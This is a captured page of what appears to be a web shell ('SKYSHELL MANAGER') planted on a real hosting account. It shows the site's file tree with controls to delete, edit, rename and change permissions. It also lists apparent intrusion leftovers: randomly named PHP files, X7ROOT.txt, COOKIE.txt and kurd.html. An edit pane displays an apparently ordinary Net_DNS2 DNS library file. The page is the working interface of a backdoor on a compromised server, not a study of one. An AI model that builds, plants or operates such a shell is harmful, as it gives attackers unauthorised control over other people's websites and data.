📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: APL.php
<?php /** * DNS Library for handling lookups and updates. * * Copyright (c) 2020, Mike Pultz <mike@mikepultz.com>. All rights reserved. * * See LICENSE for more details. * * @category Networking * @package Net_DNS2 * @author Mike Pultz <mike@mikepultz.com> * @copyright 2020 Mike Pultz <mike@mikepultz.com> * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @link https://netdns2.com/ * @since File available since Release 1.0.0 * */ /** * APL Resource Record - RFC3123 * * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * | ADDRESSFAMILY | * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * | PREFIX | N | AFDLENGTH | * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * / AFDPART / * | | * +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+ * */ class Net_DNS2_RR_APL extends Net_DNS2_RR { /* * a list of all the address prefix list items */ public $apl_items = []; /** * method to return the rdata portion of the packet as a string * * @return string * @access protected * */ protected function rrToString() { $out = ''; foreach ($this->apl_items as $item) { if ($item['n'] == 1) { $out .= '!'; } $out .= $item['address_family'] . ':' . $item['afd_part'] . '/' . $item['prefix'] . ' '; } return trim($out); } /** * parses the rdata portion from a standard DNS config line * * @param array $rdata a string split line of values for the rdata * * @return boolean * @access protected * */ protected function rrFromString(array $rdata) { foreach ($rdata as $item) { if (preg_match('/^(!?)([1|2])\:([^\/]*)\/([0-9]{1,3})$/', $item, $m)) { $i = [ 'address_family' => $m[2], 'prefix' => $m[4], 'n' => ($m[1] == '!') ? 1 : 0, 'afd_part' => strtolower($m[3]) ]; $address = $this->_trimZeros( $i['address_family'], $i['afd_part'] ); $i['afd_length'] = count(explode('.', $address)); $this->apl_items[] = $i; } } return true; } /** * parses the rdata of the Net_DNS2_Packet object * * @param Net_DNS2_Packet &$packet a Net_DNS2_Packet packet to parse the RR from * * @return boolean * @access protected * */ protected function rrSet(Net_DNS2_Packet &$packet) { if ($this->rdlength > 0) { $offset = 0; while ($offset < $this->rdlength) { // // unpack the family, prefix, negate and length values // $x = unpack( 'naddress_family/Cprefix/Cextra', substr($this->rdata, $offset) ); $item = [ 'address_family' => $x['address_family'], 'prefix' => $x['prefix'], 'n' => ($x['extra'] >> 7) & 0x1, 'afd_length' => $x['extra'] & 0xf ]; switch($item['address_family']) { case 1: $r = unpack( 'C*', substr($this->rdata, $offset + 4, $item['afd_length']) ); if (count($r) < 4) { for ($c=count($r)+1; $c<4+1; $c++) { $r[$c] = 0; } } $item['afd_part'] = implode('.', $r); break; case 2: $r = unpack( 'C*', substr($this->rdata, $offset + 4, $item['afd_length']) ); if (count($r) < 8) { for ($c=count($r)+1; $c<8+1; $c++) { $r[$c] = 0; } } $item['afd_part'] = sprintf( '%x:%x:%x:%x:%x:%x:%x:%x', $r[1], $r[2], $r[3], $r[4], $r[5], $r[6], $r[7], $r[8] ); break; default: return false; } $this->apl_items[] = $item; $offset += 4 + $item['afd_length']; } return true; } return false; } /** * returns the rdata portion of the DNS packet * * @param Net_DNS2_Packet &$packet a Net_DNS2_Packet packet use for * compressed names * * @return mixed either returns a binary packed * string or null on failure * @access protected * */ protected function rrGet(Net_DNS2_Packet &$packet) { if (count($this->apl_items) > 0) { $data = ''; foreach ($this->apl_items as $item) { // // pack the address_family and prefix values // $data .= pack( 'nCC', $item['address_family'], $item['prefix'], ($item['n'] << 7) | $item['afd_length'] ); switch($item['address_family']) { case 1: $address = explode( '.', $this->_trimZeros($item['address_family'], $item['afd_part']) ); foreach ($address as $b) { $data .= chr($b); } break; case 2: $address = explode( ':', $this->_trimZeros($item['address_family'], $item['afd_part']) ); foreach ($address as $b) { $data .= pack('H', $b); } break; default: return null; } } $packet->offset += strlen($data); return $data; } return null; } /** * returns an IP address with the right-hand zero's trimmed * * @param integer $family the IP address family from the rdata * @param string $address the IP address * * @return string the trimmed IP addresss. * * @access private * */ private function _trimZeros($family, $address) { $a = []; switch($family) { case 1: $a = array_reverse(explode('.', $address)); break; case 2: $a = array_reverse(explode(':', $address)); break; default: return ''; } foreach ($a as $value) { if ($value === '0') { array_shift($a); } } $out = ''; switch($family) { case 1: $out = implode('.', array_reverse($a)); break; case 2: $out = implode(':', array_reverse($a)); break; default: return ''; } return $out; } }
Save